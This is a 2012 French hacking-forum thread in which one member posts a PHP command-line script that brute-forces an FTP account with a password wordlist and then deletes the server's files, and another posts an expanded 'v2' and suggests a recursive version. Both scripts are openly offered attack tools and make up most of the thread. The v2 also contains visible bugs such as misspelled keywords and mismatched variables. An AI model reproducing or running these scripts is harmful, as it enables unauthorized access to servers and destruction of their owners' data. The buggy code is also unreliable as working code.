S'enregistrer | Rechercher | FAQ | Liste des Membres | Groupes d'utilisateurs | Connexion

  Nom d'utilisateur:    Mot de passe:       

  

Poster un nouveau sujet   Répondre au sujet Page 1 sur 1
Voir le sujet précédent :: Voir le sujet suivant  
Auteur Message
MessagePosté le: Ven Sep 28, 2012 4:40 am    Sujet du message: Script sans interêt qui peut en avoir.. Répondre en citant

LECHIENKITU
Projets


 
Inscrit le: 01 Avr 2009
Messages: 177



Hello, suite à la relecture d'un post ( https://forum.hackbbs.org/viewtopic.php?t=2930&sid=4de39124a7932a1420345418295fe819 ) qui m'a bien fait rire :p j'ai eu l'idée d'essayer de faire ce que je décrivais il y a 3 ans ..
Sauf que je l'ai fait en PHP ><
Donc voici le code qui est censé faire ce que je décris:
Code:

<?php
  /**
     .:: FTP-REMOVE ::.
     
     @author lechienkitu
     @version O.O.1
     @license OpenSource

     Se connecte à un serveur
     FTP avec un user pré-nommé
     et tente une intrusion par
     brute force (avec dictionnaire)
     puis supprime tous les fichiers
     présents sur le serveur.

     SYNTAXE: ftp.xxxx.xxx:user:file_wordlist

     ENJOY
  */

  echo "ftpserver:user:wordlist\n-> ";
  $std = rtrim(fgets(STDIN));
  $infos = explode(':', $std);
 
  if(count($infos) != 3)
    exit("SYNTAXE: ftp.xxx.xxx:USER:FILE_WORDLIST\n");
  if(!is_file($infos[2]))
    exit("YOUR FILE IS FALSE");

  $file = fopen($infos[2], "r");
  while(($line = fgets($file)))
  {
    $ftp = ftp_connect($infos[0]);
    echo "Tentative de connection avec $infos[1]@$line...";
    if(@ftp_login($ftp, $infos[1], rtrim($line)))
    {
      echo "OK\n";
      $docs = ftp_nlist($ftp, ".");
      foreach($docs as $f)
        ftp_rmdir($ftp, $f);
      break;
    }
    echo "FAIL\n";
    ftp_close($ftp);
  }

  fclose($file);
?>

Voilà donc bien sûr pour les lamerz qui passeraient par ici ceci n'est pas le soft qui va révolutionner votre vie mais juste un petit script de nuit que j'avais envie de partager histoire d'en inspirer certains (mais aussi de montrer qu'en fait beh c'était faisable cette merde :p)
EDIT: ai oublié de dire que c'était du PHP en CLI Embarassed
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Ven Sep 28, 2012 8:29 am    Sujet du message: Répondre en citant

TorTukiTu
Site Admin


 
Inscrit le: 07 Fév 2008
Messages: 1960
Localisation: Devant son pc durant la redaction de ce message



...

En tout cas, ça fait du bien de voir que tu sais scripter un peu maintenant =).

Après, je ne sais pas trop à qui peut servir ton script.

Je te souhaite de continuer ton apprentissage avec d'autres optiques que celle-ci.

A bientôt, tortue 974.
Voir le profil de l'utilisateur Envoyer un message privés Visiter le site web de l'utilisateur Compte AIM MSN Messenger Numéro ICQ
MessagePosté le: Ven Sep 28, 2012 12:22 pm    Sujet du message: Répondre en citant

LECHIENKITU
Projets


 
Inscrit le: 01 Avr 2009
Messages: 177



Boarf comme je l'ai dit j'ai survolé le fofo et en tombant dessus j'ai à la fois rigolé et en même je me suis dit "Bon allez testons, pourquoi pas après tout..." et puis comme je l'ai dit c'est pour le fun et je ne l'ai pas fait pour les petits lamerz en herbe. Et ça fait longtemps que je sais scripter bougre de toi \o/
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Mar Oct 02, 2012 3:25 pm    Sujet du message: Répondre en citant

SHEPSHEP
Projets


 
Inscrit le: 08 Avr 2009
Messages: 268
Localisation: /dev/null



Ce n'est pas spécialement contre toi mais quel est l'intérêt de développer un script de ce type à part donner de mauvaise idées à des script kiddies en mal de reconnaissance ?

Je n'en vois aucun, même pas pour l'apprentissage étant donné qu'il est simpliste.

Si je peux me permettre de te donner un conseil, change de cap l'ami Wink
Voir le profil de l'utilisateur Envoyer un message privés Visiter le site web de l'utilisateur
MessagePosté le: Mar Oct 02, 2012 8:19 pm    Sujet du message: Répondre en citant

Korigan
Site Admin


 
Inscrit le: 29 Mai 2007
Messages: 1781



Merci pour ce partage Lechienkitu.

Tu pourrais continuer à en faire d'autres pour te constituer un petit framework.
Tu pourrais également participer au projet metasploit par exemple.

En tout cas +1 pour la persévérance!

Et aujourd'hui, si tu devais te donner un projet à faire dans 3 ans, ce serait quoi?

++Korigan
Voir le profil de l'utilisateur Envoyer un message privés Envoyer un e-mail
MessagePosté le: Mar Oct 02, 2012 8:45 pm    Sujet du message: Répondre en citant

LECHIENKITU
Projets


 
Inscrit le: 01 Avr 2009
Messages: 177



SHEPSHEP a écrit:
Si je peux me permettre de te donner un conseil, change de cap l'ami Wink

On voit que tu ne me connais pas, l' << ami >>

Korigan: Je n'en ai aucune idée Confused Et quel projet de metasploit ? :p
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Mar Oct 02, 2012 9:01 pm    Sujet du message: Répondre en citant

alz
Projets


 
Inscrit le: 27 Fév 2008
Messages: 6



bon j'vais pas te taunt les autres l'ont fait..
du coup j'vais te proposer une v.2 histoire de ... (osef de ce que tu codes, prends tjrs la peine de le faire proprement) tu apprendras beaucoup plus vite et tes codes seront plus facile a etre repris dans dautres scripts

Code:

#!/usr/bin/php
<?php

  /**
     * .:: FTP-REMOVE ::.
     *
     * @author Alz
     * @source lechienkitu
     * @version 0.0.2
     * @license OpenSource
     *
     * Se connecte à un serveur
     * FTP avec un user pré-nommé
     * et tente une intrusion par
     * brute force (avec dictionnaire)
     * puis supprime tous les fichiers
     * présents sur le serveur.
     *
     * SYNTAXE: ftp.xxxx.xxx:user:file_wordlist
     *
     * ENJOY
     **/

  // Const GEN
  define ( '_SYNTAX_HLP_' , 'ftpserver:user:wordlist' );
  define ( '_MAX_LEN_' , '1024' ); // octets
  define ( '_TRY_FTPCONN_' , 'Tentative de connection avec' );

  // Const Err
  define ( '_ERR_BADSYNTAX_' , 'Erreur : Mauvaise syntaxe' );
  define ( '_ERR_FILENOTFOUND_' , 'Erreur : Fichier introuvable, vérifiez le chemin ou le nom du dico' );
  define ( '_ERR_FILENOTREADABLE_' , 'Erreur : Impossible de lire le fichier' );
  define ( '_ERR_FTP_HOSTUNAVIABLE_' , 'Erreur : Le serveur FTP est inaccessible' );
  define ( '_ERR_FTP_RMFILE_' , 'Erreur : Impossible de supprimer le fichier' );
  define ( '_ERR_FTP_RMDIR_' , 'Erreur : Impossible de supprimer le dossier' );
  define ( '_ERR_BADPWD_' , 'Erreur : Echec de connection avec ce mot de passe' );

  // Init
  $i = 0;
  echo _SYNTAX_HLP_ . PHP_EOL;

  // User Input
  $std   = rtrim ( fgets( STDIN ) );
  $infos = explode ( ':' , $std );

  // Check Input datas
  if ( count($infos) != 3)
    exit( _SYNTAX_HLP_ . PHP_EOL );
 
  // Init Var
  foreach ( $infos as $i => $value )
  {
      $value = trim ( $value );

      if ( empty ( $value ) )
         exit ( _ERR_BADSYNTAX_ . PHP_EOL . SYNTAX_HLP_ . PHP_EOL );
     
      if ( $i == 0 )
          $ftpHost = ltrim ( strtolower( $value ) , 'ftp://');
      elseif ( $i == 1 )
          $ftpUser = strtolower ( $value );
      else
          $wordlist = strtolower ( $value );
  }

  // Check wordlist
  if ( !file_exists( $wordlist ) )
    exit( _ERR_FILENOTFOUND_ . PHP_EOL );

  // Check FTP Host
  $ftp = ftp_connect( $ftpHost ) or exit ( _ERR_FTP_HOSTUNAVIABLE_ . ' ( ' . $ftpHost .' )' );

  // Loop
  $fp = fopen( $wordlist , 'r' ) or exit ( _ERR_FILENOTREADABLE_ );
 
  while ( !feof ( $file ) )
  {
     $password = trim ( fgets ( $fp , _MAX_LEN_ ) );
 
    echo '[#' . ++$i . '] > ' . _TRY_FTPCONN . ' : ' . $ftpUser . '@' . $password . PHP_EOL;

    try {
        ftp_login ( $ftp , $ftpUser , $password ) or throw new Exception ( $password , 0 );
        echo 'PASSWORD : ' . $password . PHP_EOL;
       
        $ftpFiles = ftp_nlist ( $ftp , '.' );
        foreach ( $ftpFile as $f )
        {
          if ( is_file ( $f ) )
            ftp_delete ( $f ) or throw new Exception ( $f , 1 );
          elseif ( $f != '.' && $f != '..' )
            ftp_rmdir ( $f ) or throw new Exception ( $f , 2 );
        }

        exit ( 'Done.' . PHP_EOL );
    }
    catch ( Exception $e )
    {
        swhitch ( $e->getCode() )
        {
          case 0:
            echo _ERR_BADPWD_ . ' ( ' . $e->getMessage() . ' )' . PHP_EOL;
            break;

          case 1:
            echo _ERR_FTP_RMFILE_ . ' ( ' . $e->gerMessage() . ' ) ' . PHP_EOL;
            break;

          case 2:
            echo _ERR_FTP_RMDIR_ . ' ( ' . $e->getMessage() . ' ) ' . PHP_EOL;
            break;
        }
    }
  }

  // Close ressources
  ftp_close ( $ftp );
  fclose ( $fp );

?>


Je n'ai pas testé le code ... (j'm'en fou un peu au final c'etait plus pour le fun qu'autre chose)
Au passage la grosse bourde que j'ai pu voir c'est surtout que tu vide l'ensemble des dossiers du dossier FTP mais tu laisses les fichiers ...
A noter aussi que ce systeme n'est pas récursif.

D'ailleurs sur ce point tu peux t'amuser a faire une v3 en mode recursivité

Alz'enjoy.
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Mar Oct 02, 2012 11:38 pm    Sujet du message: Répondre en citant

LECHIENKITU
Projets


 
Inscrit le: 01 Avr 2009
Messages: 177



Merci beaucoup Alz. Mmmh, non, je vais plutôt essayer de commencer ma petite dd de class etc... Comme Kori et toi (sur irc) me l'avez déjà conseillé. A la prochaine++
Voir le profil de l'utilisateur Envoyer un message privés
MessagePosté le: Jeu Oct 04, 2012 3:41 pm    Sujet du message: Répondre en citant

SHEPSHEP
Projets


 
Inscrit le: 08 Avr 2009
Messages: 268
Localisation: /dev/null



@LECHIENKITU : Autant pour moi alors, j'ai toujours un peu de mal avec ce genre de projet et j'ai tendance à le faire savoir assez "violemment". Sorry
Voir le profil de l'utilisateur Envoyer un message privés Visiter le site web de l'utilisateur
Poster un nouveau sujet   Répondre au sujet Page 1 sur 1

  


 
Sauter vers:  
Vous ne pouvez pas poster de nouveaux sujets dans ce forum
Vous ne pouvez pas répondre aux sujets dans ce forum
Vous ne pouvez pas éditer vos messages dans ce forum
Vous ne pouvez pas supprimer vos messages dans ce forum
Vous ne pouvez pas voter dans les sondages de ce forum



110273 Attacks blocked